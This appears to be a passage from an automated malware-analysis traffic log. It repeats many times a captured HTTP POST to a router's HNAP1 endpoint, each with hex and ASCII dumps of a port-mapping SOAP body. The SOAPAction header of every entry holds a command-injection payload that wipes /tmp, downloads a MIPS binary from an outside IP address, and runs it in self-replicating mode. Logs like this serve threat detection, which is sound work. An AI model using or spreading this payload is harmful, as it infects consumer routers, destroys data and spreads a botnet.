2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 